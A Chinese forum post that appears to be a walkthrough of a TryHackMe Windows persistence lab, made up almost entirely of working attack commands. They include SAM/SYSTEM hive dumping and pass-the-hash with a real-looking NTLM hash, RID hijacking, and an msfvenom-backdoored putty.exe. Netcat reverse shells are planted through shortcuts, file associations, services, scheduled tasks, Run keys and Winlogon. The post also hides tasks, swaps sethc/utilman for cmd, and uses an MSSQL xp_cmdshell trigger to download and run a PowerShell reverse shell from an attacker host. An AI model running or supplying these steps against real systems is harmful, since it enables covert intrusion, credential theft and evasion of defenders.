tryhackme——Windows Local Persistence

铁佛  论坛元老 | 2025-3-30 09:38:30 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 1816|帖子 1816|积分 5448

这里主要先容 windows权限维持
一、Tampering With Unprivileged Accounts

1.1 Assign Group Memberships

让一个非特权用户得到管理员权限的直接方法是将其添加到管理员组中。如下下令:
  1. # 将非特权用户添加到管理员组中
  2. net localgroup administrators <username> /add
  3. # 如: net localgroup administrators thmuser0 /add
复制代码
上述操作看起来过于可疑,也可以利用备份操作员(Backup Operators)组。属于该组的用户固然没有管理员权限,但可以读取或写入体系上的任何文件或注册表项,无视任何配置的DACL(离散访问控制列表)。这将使我们可以或许复制SAM和SYSTEM注册表内容,然后我们可以利用这些内容规复全部用户的暗码哈希值,从而轻松地提升到任何管理员账户的权限。相干下令如下:
  1. # 将非特权用户添加到Backup Operators组中
  2. net localgroup "Backup Operators" <username> /add
  3. # 如:net localgroup "Backup Operators" thmuser1 /add
复制代码
  

  • 如果即利用户属于Backup Operators组,也无法按预期访问全部文件。大概是该组被禁用。由于用户账户控制(UAC)导致的。UAC实现的一个功能是 LocalAccountTokenFilterPolicy,它会在本地账户通过远程方式登录时剥夺其管理员权限。
  • 好比,如果利用的是WinRM进行远程毗连,你将被限制在一个有限的访问令牌中,没有任何管理员权限。为了可以或许从你的用户账户重新得到管理员权限,需要通过将以下注册表键值设置为1来禁用LocalAccountTokenFilterPolicy:
    1. reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
    复制代码
  也可以将非特权用户添加到Remote Desktop Users组(实现RDP登录)和Remote Management Users组中。
  1. # 将非特权用户添加到Remote Desktop Users组中
  2. net localgroup "Remote Desktop Users" <username> /add
  3. # 将非特权用户添加到Remote Management Users组中
  4. net localgroup "Remote Management Users" <username> /add
  5. # 如:net localgroup "Remote Management Users" thmuser1 /add
复制代码
实验
首先,利用xfreerdp以Administrator身份毗连到windows靶机:
  1. xfreerdp /v:10.10.54.41 /u:Administrator /p:Password321
复制代码
我们的目的是将thmuser1用户提权到admin权限,再读取相干的flag文件。
  1. # 查看windows上有哪些用户
  2. net user
复制代码

  1. # 查看当前用户权限
  2. whoami /priv
  3. # 查看当前用户属于哪些组
  4. whoami /groups
复制代码


   只有当前用户属于Remote Desktop Users组,才可以通过RDP以当前用户身份进行登录。
  下面的目的是需要进行hash传递,以是首先要能拿到注册表的hash值,要想读取注册表内容,就需要SeBackup/SeRestore权限,而Backup Operators构成员是默认拥有这两种权限的。拿到这两种权限后就可以读取并生存sam和system的hash值,下面就需要将hash值传输到攻击机上,这里是利用winrm进行文件传输,而要通过winrm需要将用户放到Remote Management Users组中。
  1. # 将非特权用户添加到Backup Operators组中
  2. ## 为了读取注册表值
  3. net localgroup "Backup Operators" thmuser1 /add
  4. # 将非特权用户添加到Remote Management Users组中
  5. ## 为了通过winrm进行远程连接
  6. net localgroup "Remote Management Users" thmuser1 /add
复制代码

再利用evil-winrm进行远程毗连:
  1. # 远程连接
  2. evil-winrm -i 10.10.29.75 -u thmuser1 -p Password321
  3. # 保存sam和system文件
  4. reg save hklm\system system.bak
  5. reg save hklm\sam sam.bak
  6. # 查看当前用户权限
  7. whoami /priv
复制代码
发现报权限不敷的错误,大概是Backup Operators组被禁用。


利用admin用户解禁Backup Operators组:
  1. reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
复制代码


重新生存sam和system文件
  1. # 保存sam和system文件
  2. reg save hklm\system system.bak
  3. reg save hklm\sam sam.bak
  4. # 将sam和system文件下载到攻击机
  5. download system.bak
  6. download sam.bak
复制代码

利用secretsdump.py进行转存全部用户的hash:
  1. python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
复制代码

利用evil-winrm进行hash传递攻击:
  1. #这里要用NTLM hash
  2. evil-winrm -i 10.10.21.40 -u Administrator -H f3118544a831e728781d780cfdb9c1fa
复制代码

1.2 Special Privileges and Security Descriptors

在Backup Operators组中,它默认被分配了以下两个权限:


  • SeBackupPrivilege:用户可以读取体系中的任何文件,忽略任何存在的 DACL(自由访问控制列表)。
  • SeRestorePrivilege:用户可以写入体系中的任何文件,忽略任何存在的 DACL。
   DACL与UAC:
  

  • DACL夸大的是文件、文件夹、注册表项等具体资源的访问权限。
  • UAC夸大的是用户的权限级别,特别是普通用户和管理员用户之间的权限差别。
  可以将SeBackupPrivilege和SeRestorePrivilege权限分配给任何用户,而不同考虑该用户属于哪个组。利用admin权限导出当前体系安全配置:
  1. # 导出当前系统安全配置
  2. secedit /export /cfg config.inf
  3. # secedit:是Windows系统中的一个命令行工具,全称为 Security Configuration and Analysis(安全配置和分析工具)。它用于管理系统的安全策略,包括导出、导入、分析和配置安全设置。
  4. # /export:secedit的一个选项,表示导出当前系统的安全配置。
  5. # /cfg:指定导出的安全配置将保存到的文件路径
  6. # config.inf:配置导出路径
复制代码

修改配置文件,将SeBackupPrivilege和SeRestorePrivilege权限分配给thmuser2用户。

将修改后的配置文件导入体系中:
  1. secedit /import /cfg config.inf /db config.sdb
  2. secedit /configure /db config.sdb /cfg config.inf
复制代码

此外,要想用户通过WinRM毗连远程主机,要么将该用户添加到Remote Management Users组中,要么直接修改WinRM服务的安全描述符(Security Descriptor),允许当前用户thmuser2毗连。
WinRM 是“远程管理的通道”:WinRM 允许用户远程毗连到体系,并实行 PowerShell 下令。
PowerShell 会话配置是“下令实行的情况”:当你通过 WinRM 毗连到体系时,实际上是在一个 PowerShell 会话中实行下令。这个会话的安全描述符决定了谁可以毗连并实行下令。
  1. # 通过图形界面(GUI)来设置谁可以访问和使用PowerShell会话配置
  2. Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
复制代码

  1. # 查看thmuser2相关信息
  2. net user thmuser2
复制代码
  可以看到thmuser2只属于Users组
  

在攻击机上利用evil-winrm远程毗连:
  1. evil-winrm -i 10.10.20.41 -u thmuser2 -p Password321
复制代码

1.3 RID Hijacking

另一种在没有管理员权限的情况下获取管理员权限的方法是通过修改注册表值,让操作体系认为你就是管理员。
当创建一个用户时,会分配一个名为相对标识符(RID)的标识符。RID只是一个数字标识符,用于在体系中代表用户当用户登录时,LSASS历程会从SAM注册表项中获取其RID,并创建与该RID相干联的访问令牌。如果我们可以或许窜改注册表值,就可以通过将相同的RID关联到两个账户,让Windows为非特权用户分配管理员访问令牌。
在任何Windows体系中,默认管理员账户被分配的RID=500,而普通用户通常RID>=1000。
要查找任何用户的分配RID,可以利用以下下令:
  1. # 查看用户分配的RID
  2. # 不必须要管理员权限
  3. wmic useraccount get name,sid
复制代码

用户标识符(RID)是SID(安全标识符)的最后部门,如thmuser0用户的RID为1011。
为了将RID= 500分配给thmuser3。为此,我们需要通过注册表编辑器访问SAM(安全账户管理器)。SAM仅限于SYSTEM账户访问,即使是管理员也无法对其进行编辑。为了以SYSTEM身份运行注册表编辑器,我们将利用psexec工具:
  1. PsExec64.exe -i -s regedit
复制代码
将HKLM\SAM\SAM\Domains\Account\Users\中thmuser3的RID改为管理员RID0x01F4(500 = 0x01F4),F的0x30处生存了用户的实际RID。

在攻击机上利用evil-winrm远程毗连:
  1. evil-winrm -i 10.10.20.41 -u thmuser3 -p Password321
复制代码
  winrm登不上去,似乎只能一个用户登录。利用xfreerdp登录thmuser3用户,直接是用管理员身份登录。
  

二、Backdooring Files

2.1 可实行文件

假如有一个exe文件,用户常常用到,那么可以用msfvenom将有效载荷植入其中。该二进制文件仍旧会像往常一样正常工作,但会通过在二进制文件中添加一个额外的线程来静默地实行攻击者插入的有效载荷。比方,为了创建一个带有后门的putty.exe,可以利用以下下令:
  1. # 生成带后门的putty.exe
  2. msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe
  3. # -a x64:指定目标架构为 64位。这确保生成的有效载荷与目标系统(运行 PuTTY 的系统)的架构兼容。
  4. # --platform windows:指定目标平台为Windows。
  5. # -x putty.exe:指定一个模板文件,这里是 putty.exe。msfvenom会将有效载荷嵌入到这个文件中,生成一个带有后门的可执行文件。
  6. # -k:保留原始可执行文件的功能。这意味着生成的puttyX.exe仍然可以正常运行PuTTY的功能。
  7. # -p windows/x64/shell_reverse_tcp:指定要嵌入的有效载荷类型。这里是生成一个适用于64位Windows的反向TCP Shell有效载荷。
  8. # -b "\x00":指定坏字符,空字节。在某些情况下,空字节可能会破坏有效载荷的执行,因此这里告诉msfvenom在生成有效载荷时避免使用空字节。
复制代码
2.2 快捷方式文件

如果不想窜改可实行文件自己,还可以直接窜改快捷方式文件。与其直接指向预期的可实行文件,可以将其改为指向一个脚本,该脚本会先运行一个后门,然后再正常实行原本的步调
查看桌面上的盘算器(calc)快捷方式,右键单击它并选择“属性”,就能看到它指向的位置:

在劫持快捷方式的目的之前,先在C:\Windows\System32或其他隐蔽位置创建一个简单的PowerShell脚本,脚本内容如下:
  1. Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe 10.10.222.24 4444"
  2. # Start-Process:PowerShell的一个命令,用于启动一个新的进程。
  3. # -NoNewWindow:运行的程序将在后台执行。
  4. # "c:\tools\nc64.exe":程序启动路径。
  5. # "-e cmd.exe ATTACKER_IP 4445"
  6. ## -e cmd.exe:表示将cmd.exe绑定到Netcat的网络连接中,从而允许通过网络连接访问命令提示符。
  7. ## ATTACKER_IP:这是攻击者的 IP 地址,用于接收从目标系统发起的反向连接。
  8. ## 4444:这是攻击者监听的端口号,目标系统会通过这个端口与攻击者建立连接。
  9. C:\Windows\System32\calc.exe
复制代码
  关于-e cmd.exe:
  

  • 对攻击者来说:攻击者得到了一个对目的体系的下令行访问权限,可以通过网络控制目的体系。
  • 对目的体系来说:目的体系上会启动一个隐藏的下令提示符会话,并将其绑定到网络毗连中,而用户大概完全不会察觉。
  

最更改快捷方式,使其指向我们的脚本:
  1. powershell.exe -WindowStyle hidden C:\Users\Administrator\Desktop\backdoor.ps1
复制代码

   

  • 如果不添加-windowstyle hidden,将会:

  • 添加-windowstyle hidden,下令行黑框也会一闪而过
  

2.3 劫持文件关联(Hijacking File Associations)

除了通过可实行文件快捷方式实现持久化之外,还可以劫持任何文件关联,迫使操作体系在用户打开特定文件类型时运行恶意步调
配景:文件关联与注册表
在Windows体系中,文件的打开方式是由文件关联(File Associations)决定的。比方,当你双击一个.txt文件时,体系会主动用某个步调(好比记事本)来打开它。这种文件关联的信息主要存储在注册表的HKLM\Software\Classes\路径下,而每个文件类型都有一个对应的 ProgID(Programmatic ID,步调标识符),ProgID只是一个标识符,用来告诉体系哪个步调负责打开这种文件类型
假设我们想查看用于打开.txt 文件的步调,我们只需要检查.txt子键,找到与之关联的步调标识符(ProgID)。步调标识符(ProgID)仅仅是体系上安装步调的一个标识符,对于.txt文件,其对应的ProgID 是txtfile。

大多数 ProgID 条目下会有一个子键路径:shell\open\command。这个子键存储了实际的下令行指令,用于指定当用户打开这种文件类型时,体系应该运行哪个步调。

   

  • 以HKLM\Software\Classes\txtfile\shell\open\command为例,其内容为:"C:\Windows\System32\notepad.exe" "%1"
  • 这表示当用户双击.txt文件时,体系会运行notepad.exe来打开它。
  • 此外,%1是一个占位符,表示用户双击的文件路径。当用户双击 C:\example.txt时,体系会将%1替换为C:\example.txt。
  创建一个powershell脚本,内容如下:
  1. Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe 10.10.100.98 4444"
  2. C:\Windows\system32\NOTEPAD.EXE $args[0]
  3. # $args[0]用来接收%1的值。
复制代码
并将HKLM\Software\Classes\txtfile\shell\open\command的值改为:
  1. powershell -windowstyle hidden C:\Users\Administrator\Desktop\backdoor.ps1
复制代码

在攻击机上监听nc -lvp 4444
之后,在靶机上打开一个txt文件,即可毗连成功。
   在运行txt文件时,也会出现黑框一闪而过的情况。
  

三、Abusing Services

Windows服务为创建持久性提供了一种绝佳的方式,因为它们可以配置为在受害者呆板启动时在背景运行。服务本质上是一个在背景运行的可实行文件。在配置服务时,需要定义将利用哪个可实行文件,并选择该服务是在呆板启动时主动运行,还是需要手动启动。
主要有两种方式通过服务来创建持久性:一是创建一个新的服务,二是修改现有的服务以实行恶意载荷
3.1 创建后门服务

利用如下下令创建和开启一个服务:
  1. # 创建一个服务
  2. sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
  3. # sc.exe 是Windows系统自带的命令行工具,用于管理服务(Service Control Manager)。
  4. # create 是sc.exe的一个子命令,用于创建一个新的服务。
  5. # THMservice:新创建的服务的名称。
  6. # binPath:服务的可执行路径参数,用于指定服务运行时要执行的命令或程序路径。
  7. # start:用于指定服务的启动类型,auto:服务将在系统启动时自动运行。
  8. # 开启服务
  9. sc.exe start THMservice
复制代码
  等号背面都必须有一个空格
  除了像上面payload为重置暗码外,也可以利用msfvenom创建一个反向 Shell,并将其与创建的服务关联起来。然而,需要注意的是,服务可实行文件是独特的,因为它们需要实现特定的协议才能被体系处理。如果你想创建一个与Windows服务兼容的可实行文件,可以利用msfvenom中的exe-service格式,如下:
  1. # 生成与服务有关的反弹shell
  2. msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.100.98 LPORT=4444 -f exe-service -o rev-svc.exe
复制代码
  1. # 攻击机开启http服务
  2. python3.8 -m http.server 8000
  3. # 靶机下载文件
  4. wget -O ./rev0svc.exe http://10.10.100.98/rev-svc.exe
  5. # 创建、开启服务
  6. sc.exe create THMservice binPath= "C:\Users\Adminitrator\rev-svc.exe" start= auto
  7. sc.exe start THMservice
复制代码

毗连反弹shell

3.2 修改现有服务

  1. # 获取可用服务的列表
  2. sc.exe query state=all
  3. # 输出
  4. SERVICE_NAME: THMService1
  5. DISPLAY_NAME: THMService1
  6.         TYPE               : 10  WIN32_OWN_PROCESS
  7.         STATE              : 1  STOPPED
  8.         WIN32_EXIT_CODE    : 1077  (0x435)
  9.         SERVICE_EXIT_CODE  : 0  (0x0)
  10.         CHECKPOINT         : 0x0
  11.         WAIT_HINT          : 0x0
复制代码
可以发现有一个THMService3的服务,查看该服务具体配置信息
  1. # 查看THMService3服务详细配置信息
  2. sc.exe qc THMSerivece3
复制代码

需要特别关注


  • 可实行文件(BINARY_PATH_NAME) 应该指向我们的有效载荷(即恶意代码或工具)。
  • 服务的启动类型(START_TYPE) 应该设置为主动,如许有效载荷就可以在没有用户交互的情况下运行。
  • 服务启动账户(SERVICE_START_NAME),即服务运行所利用的账户,最好设置为 LocalSystem,以便得到体系(SYSTEM)级别的权限。
同样天生反弹shell:
  1. # 生成与服务有关的反弹shell
  2. msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.100.98 LPORT=4444 -f exe-service -o rev-svc.exe
复制代码
重新配置THMService3服务,下令如下:
  1. sc.exe config THMservice3 binPath= "C:\Users\Adminitrator\rev-svc2.exe" start= auto obj= "LocalSystem"
复制代码


四、Abusing Scheduled Tasks

还可以利用筹划任务来创建持久性,在Windows体系中,有以下几种方法。
4.1 Task Scheduler

筹划任务的最常见方法是利用Windows内置的Task Scheduler。如:
  1. schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe 10.10.134.222 4444" /ru SYSTEM
  2. # schtasks:Windows自带的任务计划程序命令行工具,用于创建、删除、查询、更改、运行和停止计划任务。
  3. # /create:表示创建一个新的计划任务。
  4. # /sc minute:/sc:指定任务的触发类型。minute:表示任务将按照分钟的频率触发。
  5. # /mo 1:/mo:表示任务触发的频率。1:表示任务每1分钟触发一次。
  6. # /tn THM-TaskBackdoor:计划任务的名称。
  7. # /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449":
  8. ## /tr:表示任务运行的程序或脚本。
  9. ## "c:\tools\nc64 -e cmd.exe 10.10.134.222 4444":Netcat将执行cmd.exe,同时将命令提示符的会话反向连接到这个 IP 地址。
  10. # /ru SYSTEM:/ru:表示任务运行的用户账户。SYSTEM:表示任务将以系统权限运行。
复制代码
检查任务是否成功创建,可以利用以下下令:
  1. # 检查计划任务是否创建成功
  2. schtasks /query /tn thm-taskbackdoor
复制代码

攻击机监听4444端口,只管连上了,但是拿不到flag,继续~
  1. nc -lvp 4444
复制代码

4.2 隐藏筹划任务

如果被入侵的用户尝试列出其筹划任务,后门就会变得很明显。为了进一步隐藏筹划任务,可以通过删除其安全描述符(SD)使其对体系中的任何用户都不可见。简单来说,删除SD相称于克制全部用户(包括管理员)访问该筹划任务。
   安全描述符只是一个访问控制列表(ACL),它声明哪些用户有权访问筹划任务。如果你的用户没有权限查询一个筹划任务,你就无法再看到它了,因为Windows只会表现你有权限利用的任务。
  全部筹划任务的安全描述符都存储在注册表路径 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\中。每个任务都有一个对应的注册表项,其中有一个名为“SD”的值,它包罗了安全描述符。
   只有拥有SYSTEM权限时,才能删除该值。
  利用psexec以SYSTEM权限打开注册表编辑器(Regedit):
  1. # 以SYSTEM权限打开注册表编辑器
  2. PsExec64.exe -s -i regedit
  3. # -s:表示以系统权限(SYSTEM)运行指定的程序。
  4. # -i:表示以交互模式运行程序。
复制代码

再利用schtasks /query /tn thm-taskbackdoor将查询不到thm-taskbackdoor筹划任务。

再次运行flag步调,即可获取flag。

五、Logon Triggered Persistence

这里讨论在用户登录体系时主动实行恶意步调。
5.1 启动文件夹

每个用户都有一个位于C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup的文件夹,如果将可实行文件放在那里,用户在登录时将会主动运行。攻击者只需将恶意步调放入其中,即可实现持久化。
如果希望在全部用户登录时逼迫运行一个负载,可以以相同的方式利用位于C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp的文件夹。
利用msfvenom天生反弹shell:
  1. # 生成反弹shell
  2. msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.134.222 LPORT=4444 -f exe -o revshell.exe
  3. # 开启http服务
  4. python3 -m http.server
复制代码
在靶机上下载反弹shell
  1. # 下载反弹shell
  2. wget -o ./revshell.exe http://10.10.134.222/revshell.exe
复制代码

将反弹shell放入C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\
  1. copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
复制代码
攻击机监听4444端口,攻击机需要利用rdp重新登录:
  1. nc -lvp 4444
  2. xfreerdp /v:10.10.120.94 /u:Administrator /p:Password321
复制代码

5.2 Run / RunOnce

也可以通过注册表逼迫用户在登录时运行步调。与其将负载放到特定目次中,不如利用以下注册表项来指定在登录时运行的应用步调:
  1. HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  2. HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  3. HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  4. HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
复制代码
  

  • 位于HKCU下的注册表项仅适用于当前用户;
  • 位于HKLM下的注册表项则适用于全部人;
  • 在Run键下指定的任何步调将在用户每次登录时运行;
  • 在RunOnce键下指定的步调则只会实行一次。
  同样,先天生反弹shell,并将反弹shell放到C:\Windows\
  1. # 生成反弹shell
  2. msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.134.222 LPORT=4444 -f exe -o revshell.exe
  3. # 将反弹shell放到指定路径下
  4. move revshell.exe C:\Windows
复制代码
接下来在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下创建一个 REG_EXPAND_SZ类型,且名字为MyBackdoor的注册表项。这个注册表项的名称可以随便取,而它的值就是我们想要实行的下令。

像上面一样,登出后,攻击机监听4444端口,并利用rdp进行登录:

5.3 Winlogon

另一种用户登录时主动启动步调的方法是利用Winlogon。Winlogon是Windows的一个组件,它在用户完成身份验证后(以及其他一些功能)加载你的用户配置文件。
Winlogon利用了位于HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\下的某些注册表项,这些项对于实现持久化大概非常有用:


  • Userinit指向userinit.exe,它负责规复你的用户配置文件偏好设置。
  • shell通常为explorer.exe。

在HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\中修改shell或Userinit,都可以实现持久化。这里修改Userinit:

像上面一样,登出后,攻击机监听4444端口,并利用rdp进行登录:

5.4 Logon scripts

userinit.exe在加载用户配置文件时会做的一件事是检查一个名为 UserInitMprLogonScript的情况变量。我们可以利用这个情况变量为用户分配一个登录脚本,该脚本会在用户登录呆板时运行。这个变量默认情况下是未设置的,因此我们可以直接创建它,并分配我们想要的任何脚本。
   需要注意的是,每个用户都有自己独立的情况变量,因此你需要分别对每个用户进行后门设置。
  

   UserInitMprLogonScript这个注册表项在HKLM中没有对应的项,这意味着后门只会应用到当前用户。
  像上面一样,登出后,攻击机监听4445端口,并利用rdp进行登录:

六、Backdooring the Login Screen / RDP

如果可以或许物理接触到呆板(大概通过远程桌面协议RDP),我们可以在没有有效登录凭证的情况下,通事后门登录屏幕来访问终端。
6.1 粘滞键

为了利用粘滞键创建持久性访问,我们将滥用Windows默认启用的一个快捷方式,即通过连续按下Shift键5次来激活粘滞键。输入该快捷方式后,我们通常会看到如下所示的界面:

在连续按下Shift键5次之后,Windows会实行位于C:\Windows\System32\sethc.exe的可实行文件。如果我们可以或许将该文件替换为我们所选择的有效载荷(payload),那么我们就可以通过快捷键来触发它。一种直接的后门登录屏幕的方法是将sethc.exe替换为cmd.exe。如许,我们就可以通过粘滞键的快捷键从登录屏幕启动一个控制台。
为了覆盖sethc.exe,首先需要获取该文件的全部权,并授予当前用户修改它的权限。可以通过以下下令来实现:
  1. # 执行该命令后,系统会将sethc.exe文件的所有权从当前所有者(通常是系统)转移到执行该命令的用户账户。
  2. takeown /f c:\Windows\System32\sethc.exe
  3. # takeown:获取所有权的命令。
  4. # /f:用于指定要操作的目标文件的路径。
  5. # 授权权限
  6. icacls C:\Windows\System32\sethc.exe /grant Administrator:F
  7. # 用cmd.exe替换sethc.exe
  8. copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
复制代码

退出登录后,即可连按5次拿到system权限:

6.2 Utilman

Utilman是Windows体系中内置的一个应用步调,用于在锁屏状态下提供“辅助功能”选项。

当我们点击登录屏幕上的“辅助功能”按钮时,它会以SYSTEM权限实行 C:\Windows\System32\Utilman.exe。类似于sethc.exe:
  1. takeown /f c:\Windows\System32\utilman.exe
  2. icacls C:\Windows\System32\utilman.exe /grant Administrator:F
  3. copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
复制代码

锁屏后按Ease of Access,即可以system权限实行cmd.exe。

七、Persisting Through Existing Services

7.1 利用Web Shell

在Web服务器中实现持久性访问的通常方法是将一个Web Shell 上传到 Web 目次中。这非常简单,并且会以 IIS 中配置的用户权限为我们提供访问权限,默认情况下是iis apppool\defaultapppool。即使这是一个非特权用户,但它拥有特别的SeImpersonatePrivilege。攻击者可以利用Web Shell 和SeImpersonatePrivilege特权在Web服务器上实现持久性访问并提升权限。
直接将shell.aspx放到C:\inetpub\wwwroot\即可。

7.2 Using MSSQL as a Backdoor

在MSSQL Server安装中,有多种方法可以植入后门。现在,我们将探讨其中一种利用触发器(triggers)的方法。简单来说,MSSQL中的触发器允许将某些操作绑定到数据库中特定事件发生时实行。这些事件可以包括用户登录,以及对给定表中的数据进行插入、更新或删除操作。在本任务中,我们将为HRDB数据库中的任何 INSERT操作创建一个触发器。
在创建触发器之前,首先需要对数据库进行一些重新配置。首先,我们需要启用xp_cmdshell。
   xp_cmdshell允许在体系的下令行中直接运行下令,但默认情况下它是禁用的。
  利用默认用户名、暗码毗连MSSQL。默认情况下,本地管理员账户将有权访问全部数据库。
点击New Query打开查询编辑器:

  1. #  MSSQL配置中启用“高级选项”
  2. sp_configure 'Show Advanced Options',1;
  3. RECONFIGURE;
  4. GO
  5. # 启用xp_cmdshell。
  6. sp_configure 'xp_cmdshell',1;
  7. RECONFIGURE;
  8. GO
复制代码

在完成上述操作后,我们必须确保任何访问数据库的网站都可以运行 xp_cmdshell。默认情况下,只有具有sysadmin脚色的数据库用户才能实行此操作。由于通常期望Web应用步调利用受限的数据库用户,因此我们可以授予全部用户模拟sa用户的权限,sa是默认的数据库管理员。
  1. USE master
  2. GRANT IMPERSONATE ON LOGIN::sa to [Public];
复制代码

进入HRDB数据库:

创建一个触发器,一旦有用户往HRDB数据库插入数据,就会利用powershell脚本下载一个反弹shell:
  1. CREATE TRIGGER [sql_backdoor]
  2. ON HRDB.dbo.Employees
  3. FOR INSERT AS
  4. EXECUTE AS LOGIN = 'sa'
  5. EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://10.10.246.45:8000/evilscript.ps1'')"';
复制代码

将反弹shell部署在攻击机上,以下为shell内容:
  1. $client = New-Object System.Net.Sockets.TCPClient("10.10.246.45",4444);
  2. $stream = $client.GetStream();
  3. [byte[]]$bytes = 0..65535|%{0};
  4. while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  5.     $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  6.     $sendback = (iex $data 2>&1 | Out-String );
  7.     $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
  8.     $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  9.     $stream.Write($sendbyte,0,$sendbyte.Length);
  10.     $stream.Flush()
  11. };
  12. $client.Close()
复制代码
攻击机开启http服务,并监听4444端口
  1. # 开启http服务
  2. python3 -m http.server
  3. # 监听4444端口
  4. nc -lvp 4444
复制代码
攻击机访问http://10.10.59.198,插入数据:



免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

铁佛

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表